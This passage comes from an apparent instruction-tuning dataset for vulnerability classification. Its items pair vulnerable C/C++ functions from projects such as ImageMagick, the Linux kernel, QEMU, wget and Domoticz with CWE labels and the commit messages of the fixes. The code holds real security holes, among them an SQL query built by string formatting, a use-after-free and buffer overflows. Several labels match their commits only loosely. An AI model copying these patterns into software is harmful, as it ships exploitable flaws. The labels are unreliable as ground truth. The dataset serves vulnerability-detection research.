if (pcd_table[i] == (PCDTable *) NULL)\n {\n buffer=(unsigned char *) RelinquishMagickMemory(buffer);\n ThrowBinaryImageException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }\n r=pcd_table[i];\n for (j=0; j < (ssize_t) length; j++)\n {\n PCDGetBits(8);\n r->length=(unsigned int) (sum & 0xff)+1;\n if (r->length > 16)\n {\n buffer=(unsigned char *) RelinquishMagickMemory(buffer);\n return(MagickFalse);\n }\n PCDGetBits(16);\n r->sequence=(unsigned int) (sum & 0xffff) << 16;\n PCDGetBits(8);\n r->key=(unsigned char) (sum & 0xff);\n r->mask=(~((1U << (32-r->length))-1));\n r++;\n }\n pcd_length[i]=(size_t) length;\n }\n /*\n Search for Sync byte.\n */\n for (i=0; i < 1; i++)\n PCDGetBits(16);\n for (i=0; i < 1; i++)\n PCDGetBits(16);\n while ((sum & 0x00fff000UL) != 0x00fff000UL)\n PCDGetBits(8);\n while (IsSync(sum) == 0)\n PCDGetBits(1);\n /*\n Recover the Huffman encoded luminance and chrominance deltas.\n */\n count=0;\n length=0;\n plane=0;\n row=0;\n q=luma;\n for ( ; ; )\n {\n if (IsSync(sum) != 0)\n {\n /*\n Determine plane and row number.\n */\n PCDGetBits(16);\n row=((sum >> 9) & 0x1fff);\n if (row == image->rows)\n break;\n PCDGetBits(8);\n plane=sum >> 30;\n PCDGetBits(16);\n switch (plane)\n {\n case 0:\n {\n q=luma+row*image->columns;\n count=(ssize_t) image->columns;\n break;\n }\n case 2:\n {\n q=chroma1+(row >> 1)*image->columns;\n count=(ssize_t) (image->columns >> 1);\n plane--;\n break;\n }\n case 3:\n {\n q=chroma2+(row >> 1)*image->columns;\n count=(ssize_t) (image->columns >> 1);\n plane--;\n break;\n }\n default:\n {\n for (i=0; i < (image->columns > 1536 ? 3 : 1); i++)\n pcd_table[i]=(PCDTable *) RelinquishMagickMemory(pcd_table[i]);\n buffer=(unsigned char *) RelinquishMagickMemory(buffer);\n ThrowBinaryImageException(CorruptImageError,\"CorruptImage\",\n image->filename);\n }\n }\n length=pcd_length[plane];\n continue;\n }\n /*\n Decode luminance or chrominance deltas.\n */\n r=pcd_table[plane];\n for (i=0; ((i < (ssize_t) length) && ((sum & r->mask) != r->sequence)); i++)\n r++;\n if ((row > image->rows) || (r == (PCDTable *) NULL))\n {\n (void) ThrowMagickException(&image->exception,GetMagickModule(),\n CorruptImageWarning,\"SkipToSyncByte\",\"`%s'\",image->filename);\n while ((sum & 0x00fff000) != 0x00fff000)\n PCDGetBits(8);\n while (IsSync(sum) == 0)\n PCDGetBits(1);\n continue;\n }\n if (r->key < 128)\n quantum=(ssize_t) (*q)+r->key;\n else\n quantum=(ssize_t) (*q)+r->key-256;\n *q=(unsigned char) ((quantum < 0) ? 0 : (quantum > 255) ? 255 : quantum);\n q++;\n PCDGetBits(r->length);\n count--;\n }\n /*\n Relinquish resources.\n */\n for (i=0; i < (image->columns > 1536 ? 3 : 1); i++)\n pcd_table[i]=(PCDTable *) RelinquishMagickMemory(pcd_table[i]);\n buffer=(unsigned char *) RelinquishMagickMemory(buffer);\n return(MagickTrue);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1450'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: g_socket_client_enumerator_callback (GObject *object,\n\t\t\t\t GAsyncResult *result,\n\t\t\t\t gpointer user_data)\n{\n GSocketClientAsyncConnectData *data = user_data;\n GSocketAddress *address = NULL;\n GSocket *socket;\n ConnectionAttempt *attempt;\n GError *error = NULL;\n\n if (g_task_return_error_if_cancelled (data->task))\n {\n g_object_unref (data->task);\n return;\n }\n\n address = g_socket_address_enumerator_next_finish (data->enumerator,\n\t\t\t\t\t\t result, &error);\n if (address == NULL)\n {\n if (data->connection_attempts)\n return;\n\n g_socket_client_emit_event (data->client, G_SOCKET_CLIENT_COMPLETE, data->connectable, NULL);\n if (!error)\n\t{\n\t if (data->last_error)\n\t {\n\t error = data->last_error;\n\t data->last_error = NULL;\n\t }\n\t else\n\t {\n\t g_set_error_literal (&error, G_IO_ERROR, G_IO_ERROR_FAILED,\n\t\t\t\t _(\"Unknown error on connect\"));\n\t }\n\t}\n g_task_return_error (data->task, error);\n g_object_unref (data->task);\n return;\n }\n\n g_socket_client_emit_event (data->client, G_SOCKET_CLIENT_RESOLVED,\n\t\t\t data->connectable, NULL);\n\n if (G_IS_PROXY_ADDRESS (address) &&\n data->client->priv->enable_proxy)\n data->proxy_addr = g_object_ref (G_PROXY_ADDRESS (address));\n\n g_clear_error (&data->last_error);\n\n socket = create_socket (data->client, address, &data->last_error);\n if (socket == NULL)\n {\n g_object_unref (address);\n enumerator_next_async (data);\n return;\n }\n\n attempt = connection_attempt_new ();\n attempt->data = data;\n attempt->socket = socket;\n attempt->address = address;\n attempt->cancellable = g_cancellable_new ();\n attempt->connection = (GIOStream *)g_socket_connection_factory_create_connection (socket);\n attempt->timeout_source = g_timeout_source_new (HAPPY_EYEBALLS_CONNECTION_ATTEMPT_TIMEOUT_MS);\n g_source_set_callback (attempt->timeout_source, on_connection_attempt_timeout, attempt, NULL);\n g_source_attach (attempt->timeout_source, g_main_context_get_thread_default ());\n data->connection_attempts = g_slist_append (data->connection_attempts, attempt);\n\n if (g_task_get_cancellable (data->task))\n g_cancellable_connect (g_task_get_cancellable (data->task), G_CALLBACK (on_connection_cancelled),\n g_object_ref (attempt->cancellable), g_object_unref);\n\n g_socket_connection_set_cached_remote_address ((GSocketConnection *)attempt->connection, address);\n g_socket_client_emit_event (data->client, G_SOCKET_CLIENT_CONNECTING, data->connectable, attempt->connection);\n g_socket_connection_connect_async (G_SOCKET_CONNECTION (attempt->connection),\n\t\t\t\t address,\n\t\t\t\t attempt->cancellable,\n\t\t\t\t g_socket_client_connected_callback, connection_attempt_ref (attempt));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-754'], 'message': 'gsocketclient: Fix criticals\n\nThis ensures the parent GTask is kept alive as long as an enumeration\nis running and trying to connect.\n\nCloses #1646\nCloses #1649'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int exif_scan_thumbnail(image_info_type *ImageInfo)\n{\n\tuchar c, *data = (uchar*)ImageInfo->Thumbnail.data;\n\tint n, marker;\n\tsize_t length=2, pos=0;\n\tjpeg_sof_info sof_info;\n\n\tif (!data) {\n\t\treturn FALSE; /* nothing to do here */\n\t}\n\tif (memcmp(data, \"\\xFF\\xD8\\xFF\", 3)) {\n\t\tif (!ImageInfo->Thumbnail.width && !ImageInfo->Thumbnail.height) {\n\t\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, \"Thumbnail is not a JPEG image\");\n\t\t}\n\t\treturn FALSE;\n\t}\n\tfor (;;) {\n\t\tpos += length;\n\t\tif (pos>=ImageInfo->Thumbnail.size)\n\t\t\treturn FALSE;\n\t\tc = data[pos++];\n\t\tif (pos>=ImageInfo->Thumbnail.size)\n\t\t\treturn FALSE;\n\t\tif (c != 0xFF) {\n\t\t\treturn FALSE;\n\t\t}\n\t\tn = 8;\n\t\twhile ((c = data[pos++]) == 0xFF && n--) {\n\t\t\tif (pos+3>=ImageInfo->Thumbnail.size)\n\t\t\t\treturn FALSE;\n\t\t\t/* +3 = pos++ of next check when reaching marker + 2 bytes for length */\n\t\t}\n\t\tif (c == 0xFF)\n\t\t\treturn FALSE;\n\t\tmarker = c;\n\t\tlength = php_jpg_get16(data+pos);\n\t\tif (pos+length>=ImageInfo->Thumbnail.size) {\n\t\t\treturn FALSE;\n\t\t}\n#ifdef EXIF_DEBUG\n\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Thumbnail: process section(x%02X=%s) @ x%04X + x%04X\", marker, exif_get_markername(marker), pos, length);\n#endif\n\t\tswitch (marker) {\n\t\t\tcase M_SOF0:\n\t\t\tcase M_SOF1:\n\t\t\tcase M_SOF2:\n\t\t\tcase M_SOF3:\n\t\t\tcase M_SOF5:\n\t\t\tcase M_SOF6:\n\t\t\tcase M_SOF7:\n\t\t\tcase M_SOF9:\n\t\t\tcase M_SOF10:\n\t\t\tcase M_SOF11:\n\t\t\tcase M_SOF13:\n\t\t\tcase M_SOF14:\n\t\t\tcase M_SOF15:\n\t\t\t\t/* handle SOFn block */\n\t\t\t\texif_process_SOFn(data+pos, marker, &sof_info);\n\t\t\t\tImageInfo->Thumbnail.height = sof_info.height;\n\t\t\t\tImageInfo->Thumbnail.width = sof_info.width;\n#ifdef EXIF_DEBUG\n\t\t\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, \"Thumbnail: size: %d * %d\", sof_info.width, sof_info.height);\n#endif\n\t\t\t\treturn TRUE;\n\n\t\t\tcase M_SOS:\n\t\t\tcase M_EOI:\n\t\t\t\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, \"Could not compute size of thumbnail\");\n\t\t\t\treturn FALSE;\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\t/* just skip */\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\texif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, \"Could not compute size of thumbnail\");\n\treturn FALSE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fix bug #77540 - Invalid Read on exif_process_SOFn'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void PDFDoc::markObject (Object* obj, XRef *xRef, XRef *countRef, unsigned int numOffset, int oldRefNum, int newRefNum, std::set *alreadyMarkedDicts)\n{\n Array *array;\n\n switch (obj->getType()) {\n case objArray:\n array = obj->getArray();\n for (int i=0; igetLength(); i++) {\n Object obj1 = array->getNF(i).copy();\n markObject(&obj1, xRef, countRef, numOffset, oldRefNum, newRefNum);\n }\n break;\n case objDict:\n markDictionnary (obj->getDict(), xRef, countRef, numOffset, oldRefNum, newRefNum, alreadyMarkedDicts);\n break;\n case objStream: \n {\n Stream *stream = obj->getStream();\n markDictionnary (stream->getDict(), xRef, countRef, numOffset, oldRefNum, newRefNum, alreadyMarkedDicts);\n }\n break;\n case objRef:\n {\n if (obj->getRef().num + (int) numOffset >= xRef->getNumObjects() || xRef->getEntry(obj->getRef().num + numOffset)->type == xrefEntryFree) {\n if (getXRef()->getEntry(obj->getRef().num)->type == xrefEntryFree) {\n return; // already marked as free => should be replaced\n }\n xRef->add(obj->getRef().num + numOffset, obj->getRef().gen, 0, true);\n if (getXRef()->getEntry(obj->getRef().num)->type == xrefEntryCompressed) {\n xRef->getEntry(obj->getRef().num + numOffset)->type = xrefEntryCompressed;\n }\n }\n if (obj->getRef().num + (int) numOffset >= countRef->getNumObjects() || \n countRef->getEntry(obj->getRef().num + numOffset)->type == xrefEntryFree)\n {\n countRef->add(obj->getRef().num + numOffset, 1, 0, true);\n } else {\n XRefEntry *entry = countRef->getEntry(obj->getRef().num + numOffset);\n entry->gen++;\n if (entry->gen > 9)\n break;\n } \n Object obj1 = getXRef()->fetch(obj->getRef());\n markObject(&obj1, xRef, countRef, numOffset, oldRefNum, newRefNum);\n }\n break;\n default:\n break;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'pdfunite: Fix stack overflow on broken file\n\nFixes issue #741'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void *load_device_tree(const char *filename_path, int *sizep)\n{\n int dt_size;\n int dt_file_load_size;\n int ret;\n void *fdt = NULL;\n\n *sizep = 0;\n dt_size = get_image_size(filename_path);\n if (dt_size < 0) {\n error_report(\"Unable to get size of device tree file '%s'\",\n filename_path);\n goto fail;\n }\n\n /* Expand to 2x size to give enough room for manipulation. */\n dt_size += 10000;\n dt_size *= 2;\n /* First allocate space in qemu for device tree */\n fdt = g_malloc0(dt_size);\n\n dt_file_load_size = load_image(filename_path, fdt);\n if (dt_file_load_size < 0) {\n error_report(\"Unable to open device tree file '%s'\",\n filename_path);\n goto fail;\n }\n\n ret = fdt_open_into(fdt, fdt, dt_size);\n if (ret) {\n error_report(\"Unable to copy device tree in memory\");\n goto fail;\n }\n\n /* Check sanity of device tree */\n if (fdt_check_header(fdt)) {\n error_report(\"Device tree file loaded into memory is invalid: %s\",\n filename_path);\n goto fail;\n }\n *sizep = dt_size;\n return fdt;\n\nfail:\n g_free(fdt);\n return NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'device_tree.c: Don't use load_image()\n\nThe load_image() function is deprecated, as it does not let the\ncaller specify how large the buffer to read the file into is.\nInstead use load_image_size().\n\nSigned-off-by: Peter Maydell \nReviewed-by: Richard Henderson \nReviewed-by: Stefan Hajnoczi \nReviewed-by: Michael S. Tsirkin \nReviewed-by: Eric Blake \nMessage-id: 20181130151712.2312-9-peter.maydell@linaro.org'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: CpuMpPeimInit (\r\n IN EFI_PEI_FILE_HANDLE FileHandle,\r\n IN CONST EFI_PEI_SERVICES **PeiServices\r\n )\r\n{\r\n EFI_STATUS Status;\r\n EFI_VECTOR_HANDOFF_INFO *VectorInfo;\r\n EFI_PEI_VECTOR_HANDOFF_INFO_PPI *VectorHandoffInfoPpi;\r\n\r\n //\r\n // Get Vector Hand-off Info PPI\r\n //\r\n VectorInfo = NULL;\r\n Status = PeiServicesLocatePpi (\r\n &gEfiVectorHandoffInfoPpiGuid,\r\n 0,\r\n NULL,\r\n (VOID **)&VectorHandoffInfoPpi\r\n );\r\n if (Status == EFI_SUCCESS) {\r\n VectorInfo = VectorHandoffInfoPpi->Info;\r\n }\r\n Status = InitializeCpuExceptionHandlers (VectorInfo);\r\n ASSERT_EFI_ERROR (Status);\r\n\r\n //\r\n // Wakeup APs to do initialization\r\n //\r\n Status = MpInitLibInitialize ();\r\n ASSERT_EFI_ERROR (Status);\r\n\r\n //\r\n // Update and publish CPU BIST information\r\n //\r\n CollectBistDataFromPpi (PeiServices);\r\n\r\n //\r\n // Install CPU MP PPI\r\n //\r\n Status = PeiServicesInstallPpi(&mPeiCpuMpPpiDesc);\r\n ASSERT_EFI_ERROR (Status);\r\n\r\n return Status;\r\n}\r ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'UefiCpuPkg/CpuMpPei: support stack guard feature\n\nThis feature is the same as Stack Guard enabled in driver CpuDxe but\napplies to PEI phase. Due to the specialty in PEI module dispatching,\nthis driver is changed to do the actual initialization in notify\ncallback of event gEfiPeiMemoryDiscoveredPpiGuid. This can let the\nstack guard apply to as most PEI drivers as possible.\n\nTo let Stack Guard work, some simple page table management code are\nintroduced to setup Guard page at base of stack for each processor.\n\nCc: Eric Dong \nCc: Laszlo Ersek \nCc: Ruiyu Ni \nCc: Jiewen Yao \nCc: Star Zeng \nCc: \"Ware, Ryan R\" \nContributed-under: TianoCore Contribution Agreement 1.1\nSigned-off-by: Jian J Wang \nRegression-tested-by: Laszlo Ersek \nReviewed-by: Eric Dong '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline bool nested_vmx_prepare_msr_bitmap(struct kvm_vcpu *vcpu,\n\t\t\t\t\t\t struct vmcs12 *vmcs12)\n{\n\tint msr;\n\tstruct page *page;\n\tunsigned long *msr_bitmap_l1;\n\tunsigned long *msr_bitmap_l0 = to_vmx(vcpu)->nested.vmcs02.msr_bitmap;\n\t/*\n\t * pred_cmd & spec_ctrl are trying to verify two things:\n\t *\n\t * 1. L0 gave a permission to L1 to actually passthrough the MSR. This\n\t * ensures that we do not accidentally generate an L02 MSR bitmap\n\t * from the L12 MSR bitmap that is too permissive.\n\t * 2. That L1 or L2s have actually used the MSR. This avoids\n\t * unnecessarily merging of the bitmap if the MSR is unused. This\n\t * works properly because we only update the L01 MSR bitmap lazily.\n\t * So even if L0 should pass L1 these MSRs, the L01 bitmap is only\n\t * updated to reflect this when L1 (or its L2s) actually write to\n\t * the MSR.\n\t */\n\tbool pred_cmd = !msr_write_intercepted_l01(vcpu, MSR_IA32_PRED_CMD);\n\tbool spec_ctrl = !msr_write_intercepted_l01(vcpu, MSR_IA32_SPEC_CTRL);\n\n\t/* Nothing to do if the MSR bitmap is not in use. */\n\tif (!cpu_has_vmx_msr_bitmap() ||\n\t !nested_cpu_has(vmcs12, CPU_BASED_USE_MSR_BITMAPS))\n\t\treturn false;\n\n\tif (!nested_cpu_has_virt_x2apic_mode(vmcs12) &&\n\t !pred_cmd && !spec_ctrl)\n\t\treturn false;\n\n\tpage = kvm_vcpu_gpa_to_page(vcpu, vmcs12->msr_bitmap);\n\tif (is_error_page(page))\n\t\treturn false;\n\n\tmsr_bitmap_l1 = (unsigned long *)kmap(page);\n\n\t/*\n\t * To keep the control flow simple, pay eight 8-byte writes (sixteen\n\t * 4-byte writes on 32-bit systems) up front to enable intercepts for\n\t * the x2APIC MSR range and selectively disable them below.\n\t */\n\tenable_x2apic_msr_intercepts(msr_bitmap_l0);\n\n\tif (nested_cpu_has_virt_x2apic_mode(vmcs12)) {\n\t\tif (nested_cpu_has_apic_reg_virt(vmcs12)) {\n\t\t\t/*\n\t\t\t * L0 need not intercept reads for MSRs between 0x800\n\t\t\t * and 0x8ff, it just lets the processor take the value\n\t\t\t * from the virtual-APIC page; take those 256 bits\n\t\t\t * directly from the L1 bitmap.\n\t\t\t */\n\t\t\tfor (msr = 0x800; msr <= 0x8ff; msr += BITS_PER_LONG) {\n\t\t\t\tunsigned word = msr / BITS_PER_LONG;\n\n\t\t\t\tmsr_bitmap_l0[word] = msr_bitmap_l1[word];\n\t\t\t}\n\t\t}\n\n\t\tnested_vmx_disable_intercept_for_msr(\n\t\t\tmsr_bitmap_l1, msr_bitmap_l0,\n\t\t\tX2APIC_MSR(APIC_TASKPRI),\n\t\t\tMSR_TYPE_W);\n\n\t\tif (nested_cpu_has_vid(vmcs12)) {\n\t\t\tnested_vmx_disable_intercept_for_msr(\n\t\t\t\tmsr_bitmap_l1, msr_bitmap_l0,\n\t\t\t\tX2APIC_MSR(APIC_EOI),\n\t\t\t\tMSR_TYPE_W);\n\t\t\tnested_vmx_disable_intercept_for_msr(\n\t\t\t\tmsr_bitmap_l1, msr_bitmap_l0,\n\t\t\t\tX2APIC_MSR(APIC_SELF_IPI),\n\t\t\t\tMSR_TYPE_W);\n\t\t}\n\t}\n\n\tif (spec_ctrl)\n\t\tnested_vmx_disable_intercept_for_msr(\n\t\t\t\t\tmsr_bitmap_l1, msr_bitmap_l0,\n\t\t\t\t\tMSR_IA32_SPEC_CTRL,\n\t\t\t\t\tMSR_TYPE_R | MSR_TYPE_W);\n\n\tif (pred_cmd)\n\t\tnested_vmx_disable_intercept_for_msr(\n\t\t\t\t\tmsr_bitmap_l1, msr_bitmap_l0,\n\t\t\t\t\tMSR_IA32_PRED_CMD,\n\t\t\t\t\tMSR_TYPE_W);\n\n\tkunmap(page);\n\tkvm_release_page_clean(page);\n\n\treturn true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-863'], 'message': 'KVM: x86: nVMX: fix x2APIC VTPR read intercept\n\nReferring to the \"VIRTUALIZING MSR-BASED APIC ACCESSES\" chapter of the\nSDM, when \"virtualize x2APIC mode\" is 1 and \"APIC-register\nvirtualization\" is 0, a RDMSR of 808H should return the VTPR from the\nvirtual APIC page.\n\nHowever, for nested, KVM currently fails to disable the read intercept\nfor this MSR. This means that a RDMSR exit takes precedence over\n\"virtualize x2APIC mode\", and KVM passes through L1's TPR to L2,\ninstead of sourcing the value from L2's virtual APIC page.\n\nThis patch fixes the issue by disabling the read intercept, in VMCS02,\nfor the VTPR when \"APIC-register virtualization\" is 0.\n\nThe issue described above and fix prescribed here, were verified with\na related patch in kvm-unit-tests titled \"Test VMX's virtualize x2APIC\nmode w/ nested\".\n\nSigned-off-by: Marc Orr \nReviewed-by: Jim Mattson \nFixes: c992384bde84f (\"KVM: vmx: speed up MSR bitmap merge\")\nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline void iocb_put(struct aio_kiocb *iocb)\n{\n\tif (refcount_read(&iocb->ki_refcnt) == 0 ||\n\t refcount_dec_and_test(&iocb->ki_refcnt)) {\n\t\tpercpu_ref_put(&iocb->ki_ctx->reqs);\n\t\tkmem_cache_free(kiocb_cachep, iocb);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'aio: simplify - and fix - fget/fput for io_submit()\n\nAl Viro root-caused a race where the IOCB_CMD_POLL handling of\nfget/fput() could cause us to access the file pointer after it had\nalready been freed:\n\n \"In more details - normally IOCB_CMD_POLL handling looks so:\n\n 1) io_submit(2) allocates aio_kiocb instance and passes it to\n aio_poll()\n\n 2) aio_poll() resolves the descriptor to struct file by req->file =\n fget(iocb->aio_fildes)\n\n 3) aio_poll() sets ->woken to false and raises ->ki_refcnt of that\n aio_kiocb to 2 (bumps by 1, that is).\n\n 4) aio_poll() calls vfs_poll(). After sanity checks (basically,\n \"poll_wait() had been called and only once\") it locks the queue.\n That's what the extra reference to iocb had been for - we know we\n can safely access it.\n\n 5) With queue locked, we check if ->woken has already been set to\n true (by aio_poll_wake()) and, if it had been, we unlock the\n queue, drop a reference to aio_kiocb and bugger off - at that\n point it's a responsibility to aio_poll_wake() and the stuff\n called/scheduled by it. That code will drop the reference to file\n in req->file, along with the other reference to our aio_kiocb.\n\n 6) otherwise, we see whether we need to wait. If we do, we unlock the\n queue, drop one reference to aio_kiocb and go away - eventual\n wakeup (or cancel) will deal with the reference to file and with\n the other reference to aio_kiocb\n\n 7) otherwise we remove ourselves from waitqueue (still under the\n queue lock), so that wakeup won't get us. No async activity will\n be happening, so we can safely drop req->file and iocb ourselves.\n\n If wakeup happens while we are in vfs_poll(), we are fine - aio_kiocb\n won't get freed under us, so we can do all the checks and locking\n safely. And we don't touch ->file if we detect that case.\n\n However, vfs_poll() most certainly *does* touch the file it had been\n given. So wakeup coming while we are still in ->poll() might end up\n doing fput() on that file. That case is not too rare, and usually we\n are saved by the still present reference from descriptor table - that\n fput() is not the final one.\n\n But if another thread closes that descriptor right after our fget()\n and wakeup does happen before ->poll() returns, we are in trouble -\n final fput() done while we are in the middle of a method:\n\nAl also wrote a patch to take an extra reference to the file descriptor\nto fix this, but I instead suggested we just streamline the whole file\npointer handling by submit_io() so that the generic aio submission code\nsimply keeps the file pointer around until the aio has completed.\n\nFixes: bfe4037e722e (\"aio: implement IOCB_CMD_POLL\")\nAcked-by: Al Viro \nReported-by: syzbot+503d4cc169fcec1cb18c@syzkaller.appspotmail.com\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: do_conversion (const char *tocode, const char *fromcode, char const *in_org, size_t inlen, char **out)\n{\n iconv_t cd;\n /* sXXXav : hummm hard to guess... */\n size_t len, done, outlen;\n int invalid = 0, tooshort = 0;\n char *s, *in, *in_save;\n\n cd = iconv_open (tocode, fromcode);\n if (cd == (iconv_t)(-1))\n {\n logprintf (LOG_VERBOSE, _(\"Conversion from %s to %s isn't supported\\n\"),\n quote (fromcode), quote (tocode));\n *out = NULL;\n return false;\n }\n\n /* iconv() has to work on an unescaped string */\n in_save = in = xstrndup (in_org, inlen);\n url_unescape_except_reserved (in);\n inlen = strlen(in);\n\n len = outlen = inlen * 2;\n *out = s = xmalloc (outlen + 1);\n done = 0;\n\n for (;;)\n {\n if (iconv (cd, (ICONV_CONST char **) &in, &inlen, out, &outlen) != (size_t)(-1) &&\n iconv (cd, NULL, NULL, out, &outlen) != (size_t)(-1))\n {\n *out = s;\n *(s + len - outlen - done) = '\\0';\n xfree(in_save);\n iconv_close(cd);\n IF_DEBUG\n {\n /* not not print out embedded passwords, in_org might be an URL */\n if (!strchr(in_org, '@') && !strchr(*out, '@'))\n debug_logprintf (\"converted '%s' (%s) -> '%s' (%s)\\n\", in_org, fromcode, *out, tocode);\n else\n debug_logprintf (\"logging suppressed, strings may contain password\\n\");\n }\n return true;\n }\n\n /* Incomplete or invalid multibyte sequence */\n if (errno == EINVAL || errno == EILSEQ)\n {\n if (!invalid)\n logprintf (LOG_VERBOSE,\n _(\"Incomplete or invalid multibyte sequence encountered\\n\"));\n\n invalid++;\n **out = *in;\n in++;\n inlen--;\n (*out)++;\n outlen--;\n }\n else if (errno == E2BIG) /* Output buffer full */\n {\n tooshort++;\n done = len;\n len = outlen = done + inlen * 2;\n s = xrealloc (s, outlen + 1);\n *out = s + done;\n }\n else /* Weird, we got an unspecified error */\n {\n logprintf (LOG_VERBOSE, _(\"Unhandled errno %d\\n\"), errno);\n break;\n }\n }\n\n xfree(in_save);\n iconv_close(cd);\n IF_DEBUG\n {\n /* not not print out embedded passwords, in_org might be an URL */\n if (!strchr(in_org, '@') && !strchr(*out, '@'))\n debug_logprintf (\"converted '%s' (%s) -> '%s' (%s)\\n\", in_org, fromcode, *out, tocode);\n else\n debug_logprintf (\"logging suppressed, strings may contain password\\n\");\n }\n return false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Fix a buffer overflow vulnerability\n\n* src/iri.c(do_conversion): Reallocate the output buffer to a larger\n size if it is already full'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: qb_log_blackbox_write_to_file(const char *filename)\n{\n\tssize_t written_size = 0;\n\tstruct qb_log_target *t;\n\tstruct _blackbox_file_header header;\n\tint fd = open(filename, O_CREAT | O_RDWR | O_EXCL, 0700);\n\n\tif (fd < 0) {\n\t\treturn -errno;\n\t}\n\n\t/* Write header, so we know this is a 'new' format blackbox */\n\theader.word_size = QB_BLACKBOX_HEADER_WORDSIZE;\n\theader.read_pt = QB_BLACKBOX_HEADER_READPT;\n\theader.write_pt = QB_BLACKBOX_HEADER_WRITEPT;\n\theader.version = QB_BLACKBOX_HEADER_VERSION;\n\theader.hash = QB_BLACKBOX_HEADER_HASH;\n\twritten_size = write(fd, &header, sizeof(header));\n\tif (written_size < sizeof(header)) {\n\t\tclose(fd);\n\t\treturn written_size;\n\t}\n\n\tt = qb_log_target_get(QB_LOG_BLACKBOX);\n\tif (t->instance) {\n\t\twritten_size += qb_rb_write_to_file(t->instance, fd);\n\t} else {\n\t\twritten_size = -ENOENT;\n\t}\n\tclose(fd);\n\n\treturn written_size;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59'], 'message': 'ipc: fixes\n\nUse O_EXCL on IPC files'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \t\tvoid CWebServer::GetFloorplanImage(WebEmSession & session, const request& req, reply & rep)\n\t\t{\n\t\t\tstd::string idx = request::findValue(&req, \"idx\");\n\t\t\tif (idx == \"\") {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tstd::vector > result;\n\t\t\tresult = m_sql.safe_queryBlob(\"SELECT Image FROM Floorplans WHERE ID=%s\", idx.c_str());\n\t\t\tif (result.empty())\n\t\t\t\treturn;\n\t\t\treply::set_content(&rep, result[0][0].begin(), result[0][0].end());\n\t\t\tstd::string oname = \"floorplan\";\n\t\t\tif (result[0][0].size() > 10)\n\t\t\t{\n\t\t\t\tif (result[0][0][0] == 'P')\n\t\t\t\t\toname += \".png\";\n\t\t\t\telse if (result[0][0][0] == -1)\n\t\t\t\t\toname += \".jpg\";\n\t\t\t\telse if (result[0][0][0] == 'B')\n\t\t\t\t\toname += \".bmp\";\n\t\t\t\telse if (result[0][0][0] == 'G')\n\t\t\t\t\toname += \".gif\";\n\t\t\t}\n\t\t\treply::add_header_attachment(&rep, oname);\n\t\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-89'], 'message': 'Fixed possible SQL Injection Vulnerability (Thanks to Fabio Carretto!)'" + }, + { + "text": "[INST] Given the following code containing 